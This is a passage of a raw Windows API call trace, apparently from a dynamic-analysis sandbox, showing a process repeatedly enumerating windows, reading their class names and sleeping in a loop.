GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.512] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.513] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.514] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.515] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0132.516] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0132.516] Sleep (dwMilliseconds=0x64) [0132.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.518] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0132.518] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0132.518] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0132.518] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.518] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.518] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.518] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.518] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.518] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0132.518] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.518] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0132.519] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.519] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.519] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0132.519] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0132.519] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0132.519] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.519] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0132.519] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0132.519] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.519] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0132.520] Sleep (dwMilliseconds=0x64) [0132.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.601] Sleep (dwMilliseconds=0x64) [0132.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.603] Sleep (dwMilliseconds=0x64) [0132.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.605] Sleep (dwMilliseconds=0x64) [0132.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.607] Sleep (dwMilliseconds=0x64) [0132.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.609] Sleep (dwMilliseconds=0x64) [0132.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.611] Sleep (dwMilliseconds=0x64) [0132.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.614] Sleep (dwMilliseconds=0x64) [0132.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.615] Sleep (dwMilliseconds=0x64) [0132.617] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.617] Sleep (dwMilliseconds=0x64) [0132.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.619] Sleep (dwMilliseconds=0x64) [0132.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.620] Sleep (dwMilliseconds=0x64) [0132.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.622] Sleep (dwMilliseconds=0x64) [0132.623] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.623] Sleep (dwMilliseconds=0x64) [0132.625] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.625] Sleep (dwMilliseconds=0x64) [0132.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.626] Sleep (dwMilliseconds=0x64) [0132.628] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.628] Sleep (dwMilliseconds=0x64) [0132.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.629] Sleep (dwMilliseconds=0x64) [0132.630] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.631] Sleep (dwMilliseconds=0x64) [0132.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.632] Sleep (dwMilliseconds=0x64) [0132.634] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.634] Sleep (dwMilliseconds=0x64) [0132.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.635] Sleep (dwMilliseconds=0x64) [0132.637] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.637] Sleep (dwMilliseconds=0x64) [0132.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.638] Sleep (dwMilliseconds=0x64) [0132.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.640] Sleep (dwMilliseconds=0x64) [0132.641] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.641] Sleep (dwMilliseconds=0x64) [0132.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.643] Sleep (dwMilliseconds=0x64) [0132.644] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.644] Sleep (dwMilliseconds=0x64) [0132.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.646] Sleep (dwMilliseconds=0x64) [0132.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.648] Sleep (dwMilliseconds=0x64) [0132.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.649] Sleep (dwMilliseconds=0x64) [0132.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.651] Sleep (dwMilliseconds=0x64) [0132.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.652] Sleep (dwMilliseconds=0x64) [0132.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.654] Sleep (dwMilliseconds=0x64) [0132.655] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.655] Sleep (dwMilliseconds=0x64) [0132.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.657] Sleep (dwMilliseconds=0x64) [0132.658] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.658] Sleep (dwMilliseconds=0x64) [0132.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.660] Sleep (dwMilliseconds=0x64) [0132.662] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.662] Sleep (dwMilliseconds=0x64) [0132.664] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.664] Sleep (dwMilliseconds=0x64) [0132.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.666] Sleep (dwMilliseconds=0x64) [0132.667] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.667] Sleep (dwMilliseconds=0x64) [0132.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.669] Sleep (dwMilliseconds=0x64) [0132.670] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.670] Sleep (dwMilliseconds=0x64) [0132.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.672] Sleep (dwMilliseconds=0x64) [0132.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.674] Sleep (dwMilliseconds=0x64) [0132.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.675] Sleep (dwMilliseconds=0x64) [0132.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.677] Sleep (dwMilliseconds=0x64) [0132.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.678] Sleep (dwMilliseconds=0x64) [0132.679] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.680] Sleep (dwMilliseconds=0x64) [0132.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.681] Sleep (dwMilliseconds=0x64) [0132.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.683] Sleep (dwMilliseconds=0x64) [0132.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.685] Sleep (dwMilliseconds=0x64) [0132.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.687] Sleep (dwMilliseconds=0x64) [0132.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.689] Sleep (dwMilliseconds=0x64) [0132.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.691] Sleep (dwMilliseconds=0x64) [0132.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.692] Sleep (dwMilliseconds=0x64) [0132.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.694] Sleep (dwMilliseconds=0x64) [0132.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.695] Sleep (dwMilliseconds=0x64) [0132.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.697] Sleep (dwMilliseconds=0x64) [0132.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.699] Sleep (dwMilliseconds=0x64) [0132.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.700] Sleep (dwMilliseconds=0x64) [0132.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.702] Sleep (dwMilliseconds=0x64) [0132.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.704] Sleep (dwMilliseconds=0x64) [0132.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.705] Sleep (dwMilliseconds=0x64) [0132.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.707] Sleep (dwMilliseconds=0x64) [0132.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.709] Sleep (dwMilliseconds=0x64) [0132.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.710] Sleep (dwMilliseconds=0x64) [0132.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.712] Sleep (dwMilliseconds=0x64) [0132.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.714] Sleep (dwMilliseconds=0x64) [0132.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.716] Sleep (dwMilliseconds=0x64) [0132.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.718] Sleep (dwMilliseconds=0x64) [0132.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.719] Sleep (dwMilliseconds=0x64) [0132.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.721] Sleep (dwMilliseconds=0x64) [0132.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.723] Sleep (dwMilliseconds=0x64) [0132.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.726] Sleep (dwMilliseconds=0x64) [0132.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.728] Sleep (dwMilliseconds=0x64) [0132.729] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.729] Sleep (dwMilliseconds=0x64) [0132.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.731] Sleep (dwMilliseconds=0x64) [0132.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.732] Sleep (dwMilliseconds=0x64) [0132.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.734] Sleep (dwMilliseconds=0x64) [0132.735] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.736] Sleep (dwMilliseconds=0x64) [0132.737] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.737] Sleep (dwMilliseconds=0x64) [0132.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.739] Sleep (dwMilliseconds=0x64) [0132.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.741] Sleep (dwMilliseconds=0x64) [0132.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.742] Sleep (dwMilliseconds=0x64) [0132.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.744] Sleep (dwMilliseconds=0x64) [0132.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.748] Sleep (dwMilliseconds=0x64) [0132.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.750] Sleep (dwMilliseconds=0x64) [0132.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.752] Sleep (dwMilliseconds=0x64) [0132.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.753] Sleep (dwMilliseconds=0x64) [0132.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.755] Sleep (dwMilliseconds=0x64) [0132.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.756] Sleep (dwMilliseconds=0x64) [0132.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.758] Sleep (dwMilliseconds=0x64) [0132.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.759] Sleep (dwMilliseconds=0x64) [0132.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.762] Sleep (dwMilliseconds=0x64) [0132.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.766] Sleep (dwMilliseconds=0x64) [0132.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.767] Sleep (dwMilliseconds=0x64) [0132.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.772] Sleep (dwMilliseconds=0x64) [0132.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.773] Sleep (dwMilliseconds=0x64) [0132.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.775] Sleep (dwMilliseconds=0x64) [0132.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.777] Sleep (dwMilliseconds=0x64) [0132.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.778] Sleep (dwMilliseconds=0x64) [0132.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.780] Sleep (dwMilliseconds=0x64) [0132.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.781] Sleep (dwMilliseconds=0x64) [0132.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.783] Sleep (dwMilliseconds=0x64) [0132.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.784] Sleep (dwMilliseconds=0x64) [0132.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.786] Sleep (dwMilliseconds=0x64) [0132.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.787] Sleep (dwMilliseconds=0x64) [0132.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.789] Sleep (dwMilliseconds=0x64) [0132.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.791] Sleep (dwMilliseconds=0x64) [0132.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.795] Sleep (dwMilliseconds=0x64) [0132.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.797] Sleep (dwMilliseconds=0x64) [0132.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.798] Sleep (dwMilliseconds=0x64) [0132.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.800] Sleep (dwMilliseconds=0x64) [0132.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.802] Sleep (dwMilliseconds=0x64) [0132.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.804] Sleep (dwMilliseconds=0x64) [0132.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.806] Sleep (dwMilliseconds=0x64) [0132.807] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.808] Sleep (dwMilliseconds=0x64) [0132.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.810] Sleep (dwMilliseconds=0x64) [0132.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.811] Sleep (dwMilliseconds=0x64) [0132.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.814] Sleep (dwMilliseconds=0x64) [0132.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.819] Sleep (dwMilliseconds=0x64) [0132.821] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.821] Sleep (dwMilliseconds=0x64) [0132.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.823] Sleep (dwMilliseconds=0x64) [0132.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.825] Sleep (dwMilliseconds=0x64) [0132.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.828] Sleep (dwMilliseconds=0x64) [0132.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.830] Sleep (dwMilliseconds=0x64) [0132.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.831] Sleep (dwMilliseconds=0x64) [0132.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.855] Sleep (dwMilliseconds=0x64) [0132.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.857] Sleep (dwMilliseconds=0x64) [0132.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.858] Sleep (dwMilliseconds=0x64) [0132.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.860] Sleep (dwMilliseconds=0x64) [0132.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.862] Sleep (dwMilliseconds=0x64) [0132.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.863] Sleep (dwMilliseconds=0x64) [0132.865] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.865] Sleep (dwMilliseconds=0x64) [0132.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.867] Sleep (dwMilliseconds=0x64) [0132.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.869] Sleep 